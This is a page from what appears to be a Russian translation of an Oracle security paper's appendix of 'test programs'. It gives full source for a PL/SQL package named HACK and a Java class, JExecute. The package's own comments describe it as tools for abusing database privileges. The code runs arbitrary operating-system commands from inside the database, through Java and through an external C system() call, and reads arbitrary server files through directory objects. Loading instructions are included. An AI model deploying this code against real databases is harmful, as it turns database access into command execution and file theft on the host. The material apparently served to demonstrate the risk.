Страница 10 из 11 Приложение A – тестовые программы
-- HACK.SQL -- (c) 2001, Oracle Corporation -- Author: Bridesmaid (Howard Smith) -- -- Пакет HACK, содержащий полезные процедуры для злоупотребления -- привилегиями базы данных
create or replace package hack as procedure javaexecute(command varchar2); -- Выполняет команду, используя Java procedure sysexecute(command varchar2); -- Выполняет команду, используя SYSTEM procedure exists(filename varchar2, dir varchar2);-- Проверяет, существует ли файл procedure browse(filename varchar2, dir varchar2);-- Выводит содержимое файла end;
create or replace package body hack as
-- -- Определяет функцию PL/SQL wrapper JEXECUTE для класса Java "JExecute", определенного внешне --
function jexecute(command varchar2) return varchar2 is language java name 'JExecute.JExec(java.lang.String) return java.lang.String';
-- -- Удобная для пользователя версия, которая выполняет заданную команду и выводит статус возврата --
procedure javaexecute(command varchar2) is result varchar2(32000); begin dbms_output.enable(1000000); result := jexecute(command); dbms_output.put_line(result); end;
-- -- Процедура "обертки" служебного вызова "system", определенного в библиотеке libsys --
function syscall(call varchar2) return binary_integer is external library libsys name "system" calling standard c parameters(call by reference string, return ub4);
-- -- Процедура "обертки" для syscall --
procedure sysexecute(command varchar2) as begin dbms_output.enable(1000000); dbms_output.put_line('Executing: '||command); dbms_output.put_line('Command completed with status: ' || syscall(command)); end;
-- -- Проверка существования указанного файла в файловой системе ОС --
procedure exists(filename varchar2, dir varchar2) as Lob_loc bfile; begin dbms_output.enable(1000000); dbms_output.put_line('Checking file:'||filename); dbms_output.put_line('Directory: '||dir);
-- Сначала мы должны создать каталог
declare begin execute immediate ('create or replace directory hackdir as '''||dir||''''); exception when others then dbms_output.put_line('Directory creation failed'||sqlerrm); return; end;
-- Сейчас проверим существование файла
lob_loc:=bfilename('HACKDIR',filename);
if (DBMS_LOB.FILEEXISTS(Lob_loc)!= 0) then dbms_output.put_line('File exists'); else dbms_output.put_line('File does not exist'); end if;
end;
-- -- Просмотр заданного файла -- Это очень простая демонстрационная программа. Форматирование файла не сохраняется. --
procedure browse(filename varchar2, dir varchar2) as Lob_loc bfile; Buffer RAW(128); Amount BINARY_INTEGER := 128; Position INTEGER := 1; begin dbms_output.enable(1000000); dbms_output.put_line('Display file:'||filename); dbms_output.put_line('Directory: '||dir);
-- Сначала мы должны создать каталог
declare begin execute immediate ('create or replace directory hackdir as '''||dir||''''); exception when others then dbms_output.put_line('Directory creation failed'||sqlerrm); return; end;
-- Сейчас проверим существование файла
lob_loc:=bfilename('HACKDIR',filename);
if (DBMS_LOB.FILEEXISTS(Lob_loc)!= 0) then
declare begin --открыть файл для чтения
DBMS_LOB.OPEN(Lob_loc, DBMS_LOB.LOB_READONLY);
--вывести содержимое файла
LOOP DBMS_LOB.READ(Lob_loc, Amount, Position, Buffer); dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(Buffer)); Position := Position + Amount; END LOOP;
-- закрыть файл и выдать диагностику
DBMS_LOB.CLOSE(Lob_loc); exception WHEN NO_DATA_FOUND THEN dbms_output.put_line('**End of Data**'); end;
else dbms_output.put_line('File does not exist'); end if; end; end;
Эта программа используется для демонстрации выполнения произвольных команд с помощью Java, компиляция выполняется следующим образом: javac jexecute.java для загрузки используйте: loadjava jexecute.class -user <пользователь>/<пароль>
// JExecute.java // // (c) 2001, Oracle Corporation // // Author: Bridesmaid (Howard Smith) // // Простой демонстрационный класс, который может // выполнять программу, передаваемую как параметр.
import java.io.*;
public class JExecute { public static String JExec(String command) { try { Process child = Runtime.getRuntime().exec(command); InputStream childout = child.getInputStream(); InputStreamReader r = new InputStreamReader(childout); BufferedReader in = new BufferedReader(r); String line; String output; output = ""; while((line = in.readLine()) != null) output = output + line + "\n"; if (child.waitFor() != 0) output = "Execute failed with exit code:" + child.exitValue(); return (output); } catch (Exception e) { return("Execute failed with exception:" + e.toString()); } } }
|